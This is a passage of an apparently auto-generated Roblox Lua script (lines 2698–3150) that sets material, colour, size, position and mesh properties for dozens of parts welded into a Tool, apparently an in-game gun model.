  2698. CylinderMesh197.Scale = Vector3.new(0.400000036, 0.0333333351, 2)
  2699. CylinderMesh197.Scale = Vector3.new(0.400000036, 0.0333333351, 2)
  2700. Part198.Parent = Tool0
  2701. Part198.Material = Enum.Material.Metal
  2702. Part198.BrickColor = BrickColor.new("Dark stone grey")
  2703. Part198.Rotation = Vector3.new(90, 0, -90)
  2704. Part198.Anchored = true
  2705. Part198.FormFactor = Enum.FormFactor.Custom
  2706. Part198.Size = Vector3.new(0.200000003, 0.633333325, 0.200000003)
  2707. Part198.CFrame = CFrame.new(144.002945, 3.84657598, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2708. Part198.BottomSurface = Enum.SurfaceType.Smooth
  2709. Part198.TopSurface = Enum.SurfaceType.Smooth
  2710. Part198.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2711. Part198.Position = Vector3.new(144.002945, 3.84657598, 144.500931)
  2712. Part198.Orientation = Vector3.new(90, 90, 0)
  2713. Part198.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2714. CylinderMesh199.Parent = Part198
  2715. CylinderMesh199.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  2716. CylinderMesh199.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  2717. ManualWeld200.Name = "Part-to-Handle Strong Joint"
  2718. ManualWeld200.Parent = Part198
  2719. ManualWeld200.C0 = CFrame.new(-0.100000001, -0.316666663, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2720. ManualWeld200.C1 = CFrame.new(0.210006714, 0.0810937881, 0.400619507, -1, 0, 0, 0, 6.29127026e-05, -1, 0, -1, -6.29127026e-05)
  2721. ManualWeld200.Part0 = Part198
  2722. ManualWeld200.Part1 = Part30
  2723. Part201.Parent = Tool0
  2724. Part201.Material = Enum.Material.Metal
  2725. Part201.BrickColor = BrickColor.new("Dark stone grey")
  2726. Part201.Rotation = Vector3.new(-90, -90, 0)
  2727. Part201.Anchored = true
  2728. Part201.FormFactor = Enum.FormFactor.Custom
  2729. Part201.Size = Vector3.new(0.200000003, 0.200000003, 0.400000244)
  2730. Part201.CFrame = CFrame.new(144.28627, 3.97324204, 144.490952, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  2731. Part201.BottomSurface = Enum.SurfaceType.Smooth
  2732. Part201.TopSurface = Enum.SurfaceType.Smooth
  2733. Part201.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2734. Part201.Position = Vector3.new(144.28627, 3.97324204, 144.490952)
  2735. Part201.Orientation = Vector3.new(0, -90, 90)
  2736. Part201.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2737. BlockMesh202.Parent = Part201
  2738. BlockMesh202.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
  2739. BlockMesh202.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
  2740. Part203.Parent = Tool0
  2741. Part203.Material = Enum.Material.Metal
  2742. Part203.BrickColor = BrickColor.new("Dark stone grey")
  2743. Part203.Rotation = Vector3.new(-90, 0, 90)
  2744. Part203.Anchored = true
  2745. Part203.FormFactor = Enum.FormFactor.Custom
  2746. Part203.Size = Vector3.new(0.200000003, 0.233333334, 0.200000003)
  2747. Part203.CFrame = CFrame.new(143.969604, 3.83989501, 144.494263, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2748. Part203.BottomSurface = Enum.SurfaceType.Smooth
  2749. Part203.TopSurface = Enum.SurfaceType.Smooth
  2750. Part203.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2751. Part203.Position = Vector3.new(143.969604, 3.83989501, 144.494263)
  2752. Part203.Orientation = Vector3.new(-90, 90, 0)
  2753. Part203.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2754. BlockMesh204.Parent = Part203
  2755. BlockMesh204.Scale = Vector3.new(0.0333333351, 1, 0.233333275)
  2756. BlockMesh204.Scale = Vector3.new(0.0333333351, 1, 0.233333275)
  2757. Part205.Parent = Tool0
  2758. Part205.Material = Enum.Material.Metal
  2759. Part205.BrickColor = BrickColor.new("Dark stone grey")
  2760. Part205.Rotation = Vector3.new(90, 0, -180)
  2761. Part205.Anchored = true
  2762. Part205.FormFactor = Enum.FormFactor.Custom
  2763. Part205.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2764. Part205.CFrame = CFrame.new(144.389603, 3.90657496, 144.254272, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2765. Part205.BottomSurface = Enum.SurfaceType.Smooth
  2766. Part205.TopSurface = Enum.SurfaceType.Smooth
  2767. Part205.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2768. Part205.Position = Vector3.new(144.389603, 3.90657496, 144.254272)
  2769. Part205.Orientation = Vector3.new(90, 180, 0)
  2770. Part205.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2771. CylinderMesh206.Parent = Part205
  2772. CylinderMesh206.Scale = Vector3.new(0.100000009, 0.0333333351, 0.5)
  2773. CylinderMesh206.Scale = Vector3.new(0.100000009, 0.0333333351, 0.5)
  2774. Part207.Parent = Tool0
  2775. Part207.Material = Enum.Material.Metal
  2776. Part207.BrickColor = BrickColor.new("Dark stone grey")
  2777. Part207.Rotation = Vector3.new(90, 0, -90)
  2778. Part207.Anchored = true
  2779. Part207.FormFactor = Enum.FormFactor.Custom
  2780. Part207.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
  2781. Part207.CFrame = CFrame.new(143.469604, 3.89991403, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2782. Part207.BottomSurface = Enum.SurfaceType.Smooth
  2783. Part207.TopSurface = Enum.SurfaceType.Smooth
  2784. Part207.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2785. Part207.Position = Vector3.new(143.469604, 3.89991403, 144.500931)
  2786. Part207.Orientation = Vector3.new(90, 90, 0)
  2787. Part207.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2788. CylinderMesh208.Parent = Part207
  2789. CylinderMesh208.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  2790. CylinderMesh208.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  2791. ManualWeld209.Name = "Part-to-AimPart Strong Joint"
  2792. ManualWeld209.Parent = Part207
  2793. ManualWeld209.C0 = CFrame.new(0.100000001, -0.150000006, -0.100000001, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2794. ManualWeld209.C1 = CFrame.new(0.00999450684, -0.0999891758, -0.596664429, 1, 0, 0, 0, 0, 1, 0, -1, 0)
  2795. ManualWeld209.Part0 = Part207
  2796. ManualWeld209.Part1 = Part420
  2797. Part210.Parent = Tool0
  2798. Part210.Material = Enum.Material.Metal
  2799. Part210.BrickColor = BrickColor.new("Dark stone grey")
  2800. Part210.Rotation = Vector3.new(-180, -90, 0)
  2801. Part210.Anchored = true
  2802. Part210.FormFactor = Enum.FormFactor.Custom
  2803. Part210.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2804. Part210.CFrame = CFrame.new(143.829605, 3.879915, 144.500931, 0, 0, -1, 0, -1, -0, -1, 0, -0)
  2805. Part210.BottomSurface = Enum.SurfaceType.Smooth
  2806. Part210.TopSurface = Enum.SurfaceType.Smooth
  2807. Part210.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2808. Part210.Position = Vector3.new(143.829605, 3.879915, 144.500931)
  2809. Part210.Orientation = Vector3.new(0, -90, 180)
  2810. Part210.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2811. CylinderMesh211.Parent = Part210
  2812. CylinderMesh211.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
  2813. CylinderMesh211.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
  2814. Part212.Parent = Tool0
  2815. Part212.Material = Enum.Material.Metal
  2816. Part212.BrickColor = BrickColor.new("Dark stone grey")
  2817. Part212.Rotation = Vector3.new(-90, 0, 90)
  2818. Part212.Anchored = true
  2819. Part212.FormFactor = Enum.FormFactor.Custom
  2820. Part212.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2821. Part212.CFrame = CFrame.new(143.412933, 3.93991399, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2822. Part212.BottomSurface = Enum.SurfaceType.Smooth
  2823. Part212.TopSurface = Enum.SurfaceType.Smooth
  2824. Part212.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2825. Part212.Position = Vector3.new(143.412933, 3.93991399, 144.500931)
  2826. Part212.Orientation = Vector3.new(-90, 90, 0)
  2827. Part212.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2828. BlockMesh213.Parent = Part212
  2829. BlockMesh213.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
  2830. BlockMesh213.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
  2831. ManualWeld214.Name = "Part-to-AimPart Strong Joint"
  2832. ManualWeld214.Parent = Part212
  2833. ManualWeld214.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  2834. ManualWeld214.C1 = CFrame.new(0.210006714, -0.0599889755, -0.589981079, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2835. ManualWeld214.Part0 = Part212
  2836. ManualWeld214.Part1 = Part420
  2837. Part215.Parent = Tool0
  2838. Part215.Material = Enum.Material.Metal
  2839. Part215.BrickColor = BrickColor.new("Dark stone grey")
  2840. Part215.Rotation = Vector3.new(90, 0, -90)
  2841. Part215.Anchored = true
  2842. Part215.FormFactor = Enum.FormFactor.Custom
  2843. Part215.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2844. Part215.CFrame = CFrame.new(144.389603, 3.99990606, 144.294266, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2845. Part215.BottomSurface = Enum.SurfaceType.Smooth
  2846. Part215.TopSurface = Enum.SurfaceType.Smooth
  2847. Part215.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2848. Part215.Position = Vector3.new(144.389603, 3.99990606, 144.294266)
  2849. Part215.Orientation = Vector3.new(90, 90, 0)
  2850. Part215.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2851. SpecialMesh216.Parent = Part215
  2852. SpecialMesh216.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
  2853. SpecialMesh216.MeshType = Enum.MeshType.Wedge
  2854. SpecialMesh216.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
  2855. Part217.Parent = Tool0
  2856. Part217.Material = Enum.Material.Metal
  2857. Part217.BrickColor = BrickColor.new("Dark stone grey")
  2858. Part217.Rotation = Vector3.new(90, 0, -180)
  2859. Part217.Anchored = true
  2860. Part217.FormFactor = Enum.FormFactor.Custom
  2861. Part217.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2862. Part217.CFrame = CFrame.new(144.969604, 4.01991081, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2863. Part217.BottomSurface = Enum.SurfaceType.Smooth
  2864. Part217.TopSurface = Enum.SurfaceType.Smooth
  2865. Part217.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2866. Part217.Position = Vector3.new(144.969604, 4.01991081, 144.444275)
  2867. Part217.Orientation = Vector3.new(90, 180, 0)
  2868. Part217.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2869. CylinderMesh218.Parent = Part217
  2870. CylinderMesh218.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  2871. CylinderMesh218.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  2872. Part219.Parent = Tool0
  2873. Part219.Material = Enum.Material.Metal
  2874. Part219.BrickColor = BrickColor.new("Dark stone grey")
  2875. Part219.Rotation = Vector3.new(90, 0, -90)
  2876. Part219.Anchored = true
  2877. Part219.FormFactor = Enum.FormFactor.Custom
  2878. Part219.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2879. Part219.CFrame = CFrame.new(144.939606, 4.0199132, 144.324265, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2880. Part219.BottomSurface = Enum.SurfaceType.Smooth
  2881. Part219.TopSurface = Enum.SurfaceType.Smooth
  2882. Part219.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2883. Part219.Position = Vector3.new(144.939606, 4.0199132, 144.324265)
  2884. Part219.Orientation = Vector3.new(90, 90, 0)
  2885. Part219.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2886. BlockMesh220.Parent = Part219
  2887. BlockMesh220.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000042)
  2888. BlockMesh220.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000042)
  2889. Part221.Parent = Tool0
  2890. Part221.Material = Enum.Material.Metal
  2891. Part221.BrickColor = BrickColor.new("Dark stone grey")
  2892. Part221.Rotation = Vector3.new(90, -90, 0)
  2893. Part221.Anchored = true
  2894. Part221.FormFactor = Enum.FormFactor.Custom
  2895. Part221.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2896. Part221.CFrame = CFrame.new(144.562943, 3.93990898, 144.490952, 0, 0, -1, -1, 0, 0, 0, 1, 0)
  2897. Part221.BottomSurface = Enum.SurfaceType.Smooth
  2898. Part221.TopSurface = Enum.SurfaceType.Smooth
  2899. Part221.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2900. Part221.Position = Vector3.new(144.562943, 3.93990898, 144.490952)
  2901. Part221.Orientation = Vector3.new(0, -90, -90)
  2902. Part221.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2903. SpecialMesh222.Parent = Part221
  2904. SpecialMesh222.Scale = Vector3.new(0.166666448, 0.0666666701, 0.766666651)
  2905. SpecialMesh222.MeshType = Enum.MeshType.Wedge
  2906. SpecialMesh222.Scale = Vector3.new(0.166666448, 0.0666666701, 0.766666651)
  2907. Part223.Parent = Tool0
  2908. Part223.Material = Enum.Material.Metal
  2909. Part223.BrickColor = BrickColor.new("Dark stone grey")
  2910. Part223.Rotation = Vector3.new(-90, 0, 90)
  2911. Part223.Anchored = true
  2912. Part223.FormFactor = Enum.FormFactor.Custom
  2913. Part223.Size = Vector3.new(0.200000003, 0.906666577, 0.200000003)
  2914. Part223.CFrame = CFrame.new(144.186279, 3.983248, 144.457596, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2915. Part223.BottomSurface = Enum.SurfaceType.Smooth
  2916. Part223.TopSurface = Enum.SurfaceType.Smooth
  2917. Part223.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2918. Part223.Position = Vector3.new(144.186279, 3.983248, 144.457596)
  2919. Part223.Orientation = Vector3.new(-90, 90, 0)
  2920. Part223.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2921. BlockMesh224.Parent = Part223
  2922. BlockMesh224.Scale = Vector3.new(0.266666532, 1, 0.0666666701)
  2923. BlockMesh224.Scale = Vector3.new(0.266666532, 1, 0.0666666701)
  2924. Part225.Parent = Tool0
  2925. Part225.Material = Enum.Material.Metal
  2926. Part225.BrickColor = BrickColor.new("Dark stone grey")
  2927. Part225.Rotation = Vector3.new(180, 90, 0)
  2928. Part225.Anchored = true
  2929. Part225.FormFactor = Enum.FormFactor.Custom
  2930. Part225.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2931. Part225.CFrame = CFrame.new(144.109604, 3.879915, 144.500931, 0, 0, 1, 0, -1, 0, 1, 0, -0)
  2932. Part225.BottomSurface = Enum.SurfaceType.Smooth
  2933. Part225.TopSurface = Enum.SurfaceType.Smooth
  2934. Part225.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2935. Part225.Position = Vector3.new(144.109604, 3.879915, 144.500931)
  2936. Part225.Orientation = Vector3.new(0, 90, 180)
  2937. Part225.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2938. CylinderMesh226.Parent = Part225
  2939. CylinderMesh226.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
  2940. CylinderMesh226.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
  2941. ManualWeld227.Name = "Part-to-Handle Strong Joint"
  2942. ManualWeld227.Parent = Part225
  2943. ManualWeld227.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  2944. ManualWeld227.C1 = CFrame.new(0.00999450684, 0.114465714, -0.122695923, -1, 0, 0, 0, 6.29127026e-05, -1, 0, -1, -6.29127026e-05)
  2945. ManualWeld227.Part0 = Part225
  2946. ManualWeld227.Part1 = Part30
  2947. Part228.Parent = Tool0
  2948. Part228.Material = Enum.Material.Metal
  2949. Part228.BrickColor = BrickColor.new("Dark stone grey")
  2950. Part228.Rotation = Vector3.new(90, 0, 90)
  2951. Part228.Anchored = true
  2952. Part228.FormFactor = Enum.FormFactor.Custom
  2953. Part228.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2954. Part228.CFrame = CFrame.new(143.78627, 3.99990606, 144.294266, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  2955. Part228.BottomSurface = Enum.SurfaceType.Smooth
  2956. Part228.TopSurface = Enum.SurfaceType.Smooth
  2957. Part228.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2958. Part228.Position = Vector3.new(143.78627, 3.99990606, 144.294266)
  2959. Part228.Orientation = Vector3.new(90, -90, 0)
  2960. Part228.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2961. SpecialMesh229.Parent = Part228
  2962. SpecialMesh229.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
  2963. SpecialMesh229.MeshType = Enum.MeshType.Wedge
  2964. SpecialMesh229.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
  2965. Part230.Parent = Tool0
  2966. Part230.Material = Enum.Material.Metal
  2967. Part230.BrickColor = BrickColor.new("Black")
  2968. Part230.Rotation = Vector3.new(45.0099983, 0, -90)
  2969. Part230.Anchored = true
  2970. Part230.FormFactor = Enum.FormFactor.Custom
  2971. Part230.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2972. Part230.CFrame = CFrame.new(143.619598, 3.75471711, 144.312149, -1.90205043e-07, 1.00000215, -1.34168204e-07, -0.707042336, -2.29362854e-07, -0.707175553, -0.707176507, -3.96458191e-08, 0.707042336)
  2973. Part230.BottomSurface = Enum.SurfaceType.Smooth
  2974. Part230.TopSurface = Enum.SurfaceType.Smooth
  2975. Part230.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2976. Part230.Position = Vector3.new(143.619598, 3.75471711, 144.312149)
  2977. Part230.Orientation = Vector3.new(45.0099983, 0, -90)
  2978. Part230.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2979. BlockMesh231.Parent = Part230
  2980. BlockMesh231.Scale = Vector3.new(0.0666666031, 0.466666937, 0.166666716)
  2981. BlockMesh231.Scale = Vector3.new(0.0666666031, 0.466666937, 0.166666716)
  2982. Part232.Parent = Tool0
  2983. Part232.Material = Enum.Material.Metal
  2984. Part232.BrickColor = BrickColor.new("Black")
  2985. Part232.Rotation = Vector3.new(90, -90, 0)
  2986. Part232.Anchored = true
  2987. Part232.FormFactor = Enum.FormFactor.Custom
  2988. Part232.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2989. Part232.CFrame = CFrame.new(144.562943, 3.84657598, 144.494263, 0, 0, -1, -1, 0, 0, 0, 1, 0)
  2990. Part232.BottomSurface = Enum.SurfaceType.Smooth
  2991. Part232.TopSurface = Enum.SurfaceType.Smooth
  2992. Part232.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2993. Part232.Position = Vector3.new(144.562943, 3.84657598, 144.494263)
  2994. Part232.Orientation = Vector3.new(0, -90, -90)
  2995. Part232.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2996. SpecialMesh233.Parent = Part232
  2997. SpecialMesh233.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
  2998. SpecialMesh233.MeshType = Enum.MeshType.Wedge
  2999. SpecialMesh233.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
  3000. Part234.Parent = Tool0
  3001. Part234.Material = Enum.Material.Metal
  3002. Part234.BrickColor = BrickColor.new("Dark stone grey")
  3003. Part234.Rotation = Vector3.new(-180, 0, 0)
  3004. Part234.Anchored = true
  3005. Part234.FormFactor = Enum.FormFactor.Custom
  3006. Part234.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3007. Part234.CFrame = CFrame.new(144.936279, 4.0065732, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  3008. Part234.BottomSurface = Enum.SurfaceType.Smooth
  3009. Part234.TopSurface = Enum.SurfaceType.Smooth
  3010. Part234.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3011. Part234.Position = Vector3.new(144.936279, 4.0065732, 144.387604)
  3012. Part234.Orientation = Vector3.new(0, 180, 180)
  3013. Part234.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3014. CylinderMesh235.Parent = Part234
  3015. CylinderMesh235.Scale = Vector3.new(0.283332527, 0.0333333351, 0.283333391)
  3016. CylinderMesh235.Scale = Vector3.new(0.283332527, 0.0333333351, 0.283333391)
  3017. Part236.Parent = Tool0
  3018. Part236.Material = Enum.Material.Metal
  3019. Part236.BrickColor = BrickColor.new("Dark stone grey")
  3020. Part236.Rotation = Vector3.new(-90, 0, 90)
  3021. Part236.Anchored = true
  3022. Part236.FormFactor = Enum.FormFactor.Custom
  3023. Part236.Size = Vector3.new(0.213333338, 0.733333349, 0.200000003)
  3024. Part236.CFrame = CFrame.new(143.486267, 3.88658094, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3025. Part236.BottomSurface = Enum.SurfaceType.Smooth
  3026. Part236.TopSurface = Enum.SurfaceType.Smooth
  3027. Part236.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3028. Part236.Position = Vector3.new(143.486267, 3.88658094, 144.39093)
  3029. Part236.Orientation = Vector3.new(-90, 90, 0)
  3030. Part236.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3031. BlockMesh237.Parent = Part236
  3032. BlockMesh237.Scale = Vector3.new(1, 1, 0.699999988)
  3033. BlockMesh237.Scale = Vector3.new(1, 1, 0.699999988)
  3034. ManualWeld238.Name = "Part-to-AimPart Strong Joint"
  3035. ManualWeld238.Parent = Part236
  3036. ManualWeld238.C0 = CFrame.new(-0.106666669, -0.366666675, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  3037. ManualWeld238.C1 = CFrame.new(0.106674194, -0.113322258, -1.12998962, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  3038. ManualWeld238.Part0 = Part236
  3039. ManualWeld238.Part1 = Part420
  3040. Part239.Parent = Tool0
  3041. Part239.Material = Enum.Material.Metal
  3042. Part239.BrickColor = BrickColor.new("Dark stone grey")
  3043. Part239.Rotation = Vector3.new(-90, 0, 90)
  3044. Part239.Anchored = true
  3045. Part239.FormFactor = Enum.FormFactor.Custom
  3046. Part239.Size = Vector3.new(0.200000003, 0.466666669, 0.200000003)
  3047. Part239.CFrame = CFrame.new(144.072937, 3.99990606, 144.294266, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3048. Part239.BottomSurface = Enum.SurfaceType.Smooth
  3049. Part239.TopSurface = Enum.SurfaceType.Smooth
  3050. Part239.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3051. Part239.Position = Vector3.new(144.072937, 3.99990606, 144.294266)
  3052. Part239.Orientation = Vector3.new(-90, 90, 0)
  3053. Part239.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3054. BlockMesh240.Parent = Part239
  3055. BlockMesh240.Scale = Vector3.new(0.166666687, 1, 0.0999999717)
  3056. BlockMesh240.Scale = Vector3.new(0.166666687, 1, 0.0999999717)
  3057. Part241.Parent = Tool0
  3058. Part241.Material = Enum.Material.Metal
  3059. Part241.BrickColor = BrickColor.new("Black")
  3060. Part241.Rotation = Vector3.new(-90, -90, 0)
  3061. Part241.Anchored = true
  3062. Part241.FormFactor = Enum.FormFactor.Custom
  3063. Part241.Size = Vector3.new(0.200000003, 0.200000003, 0.379999965)
  3064. Part241.CFrame = CFrame.new(144.829605, 3.86657596, 144.467606, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  3065. Part241.BottomSurface = Enum.SurfaceType.Smooth
  3066. Part241.TopSurface = Enum.SurfaceType.Smooth
  3067. Part241.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3068. Part241.Position = Vector3.new(144.829605, 3.86657596, 144.467606)
  3069. Part241.Orientation = Vector3.new(0, -90, 90)
  3070. Part241.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3071. BlockMesh242.Parent = Part241
  3072. BlockMesh242.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
  3073. BlockMesh242.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
  3074. Part243.Parent = Tool0
  3075. Part243.Material = Enum.Material.Metal
  3076. Part243.BrickColor = BrickColor.new("Dark stone grey")
  3077. Part243.Rotation = Vector3.new(-90, -90, 0)
  3078. Part243.Anchored = true
  3079. Part243.FormFactor = Enum.FormFactor.Custom
  3080. Part243.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3081. Part243.CFrame = CFrame.new(143.77626, 3.97323799, 144.290939, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  3082. Part243.BottomSurface = Enum.SurfaceType.Smooth
  3083. Part243.TopSurface = Enum.SurfaceType.Smooth
  3084. Part243.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3085. Part243.Position = Vector3.new(143.77626, 3.97323799, 144.290939)
  3086. Part243.Orientation = Vector3.new(0, -90, 90)
  3087. Part243.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3088. BlockMesh244.Parent = Part243
  3089. BlockMesh244.Scale = Vector3.new(0.166666493, 0.0666666701, 0.433333933)
  3090. BlockMesh244.Scale = Vector3.new(0.166666493, 0.0666666701, 0.433333933)
  3091. Part245.Parent = Tool0
  3092. Part245.Material = Enum.Material.Metal
  3093. Part245.BrickColor = BrickColor.new("Dark stone grey")
  3094. Part245.Rotation = Vector3.new(-90, 0, 90)
  3095. Part245.Anchored = true
  3096. Part245.FormFactor = Enum.FormFactor.Custom
  3097. Part245.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3098. Part245.CFrame = CFrame.new(144.396271, 3.96657395, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3099. Part245.BottomSurface = Enum.SurfaceType.Smooth
  3100. Part245.TopSurface = Enum.SurfaceType.Smooth
  3101. Part245.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3102. Part245.Position = Vector3.new(144.396271, 3.96657395, 144.500931)
  3103. Part245.Orientation = Vector3.new(-90, 90, 0)
  3104. Part245.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3105. SpecialMesh246.Parent = Part245
  3106. SpecialMesh246.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
  3107. SpecialMesh246.MeshType = Enum.MeshType.Wedge
  3108. SpecialMesh246.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
  3109. Part247.Parent = Tool0
  3110. Part247.Material = Enum.Material.Metal
  3111. Part247.BrickColor = BrickColor.new("Black")
  3112. Part247.Rotation = Vector3.new(0, 90, 0)
  3113. Part247.Anchored = true
  3114. Part247.FormFactor = Enum.FormFactor.Custom
  3115. Part247.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3116. Part247.CFrame = CFrame.new(144.442932, 3.84324098, 144.500931, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  3117. Part247.BottomSurface = Enum.SurfaceType.Smooth
  3118. Part247.TopSurface = Enum.SurfaceType.Smooth
  3119. Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3120. Part247.Position = Vector3.new(144.442932, 3.84324098, 144.500931)
  3121. Part247.Orientation = Vector3.new(0, 90, 0)
  3122. Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3123. SpecialMesh248.Parent = Part247
  3124. SpecialMesh248.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
  3125. SpecialMesh248.MeshType = Enum.MeshType.Wedge
  3126. SpecialMesh248.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
  3127. Part249.Parent = Tool0
  3128. Part249.Material = Enum.Material.Metal
  3129. Part249.BrickColor = BrickColor.new("Dark stone grey")
  3130. Part249.Rotation = Vector3.new(90, 0, -90)
  3131. Part249.Anchored = true
  3132. Part249.FormFactor = Enum.FormFactor.Custom
  3133. Part249.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
  3134. Part249.CFrame = CFrame.new(143.469604, 3.83325005, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3135. Part249.BottomSurface = Enum.SurfaceType.Smooth
  3136. Part249.TopSurface = Enum.SurfaceType.Smooth
  3137. Part249.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3138. Part249.Position = Vector3.new(143.469604, 3.83325005, 144.500931)
  3139. Part249.Orientation = Vector3.new(90, 90, 0)
  3140. Part249.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3141. CylinderMesh250.Parent = Part249
  3142. CylinderMesh250.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3143. CylinderMesh250.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3144. Part251.Parent = Tool0
  3145. Part251.Material = Enum.Material.Metal
  3146. Part251.BrickColor = BrickColor.new("Dark stone grey")
  3147. Part251.Rotation = Vector3.new(90, 0, -90)
  3148. Part251.Anchored = true
  3149. Part251.FormFactor = Enum.FormFactor.Custom
  3150. Part251.Size = Vector3.new(0.200000003, 0.379999995, 0.200000003)
